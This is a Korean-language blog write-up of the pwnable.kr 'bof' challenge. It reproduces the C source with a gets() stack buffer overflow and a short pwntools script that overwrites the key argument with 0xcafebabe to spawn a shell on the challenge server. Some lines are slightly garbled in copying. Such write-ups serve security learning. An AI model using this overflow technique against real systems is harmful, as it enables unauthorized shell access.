pwnable.kr - bof

2018. 8. 19. 21:00WarGame/pwnable.kr

세번째 pwnable.kr 문제풀이군요.

중간중간에 다른문제들 풀다와서 풀이가 많이 느린 것 같습니다 :)



먼저 문제를 확인하면 소스코드하고 파일 하나를 주는군요.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
 
cs

gets부분이 취약점이니
제 payload는 다음과 같을거에요 ㅎㅎ
dummy[buf크기] + "cafababe"
간단하죠? ㅎㅎ 그런데 5점이네요 :)



버퍼의 크기를 알기위해 분석을 합니다.



-2c 이고, 8이니 계산을 하면



이렇네요 더미를 이렇게 넣어주고
그대로 payload를 짜주면?


1
2
3
4
5
6
7
8
from pwn import *
 
= remote("pwnable.kr"9000);
key = 0xcafebabe
pay = "A"*52 + p32(key)
 
r.send(pay)
r.interactive()
cs


'WarGame > pwnable.kr' 카테고리의 다른 글

pwnable.kr blukat  (0) 2018.08.19
pwnable.kr - coin1  (0) 2018.08.19
pwnable.kr - random  (0) 2018.08.16
pwnable.kr - collision  (0) 2018.08.03
pwnable.kr - fd  (290) 2018.07.09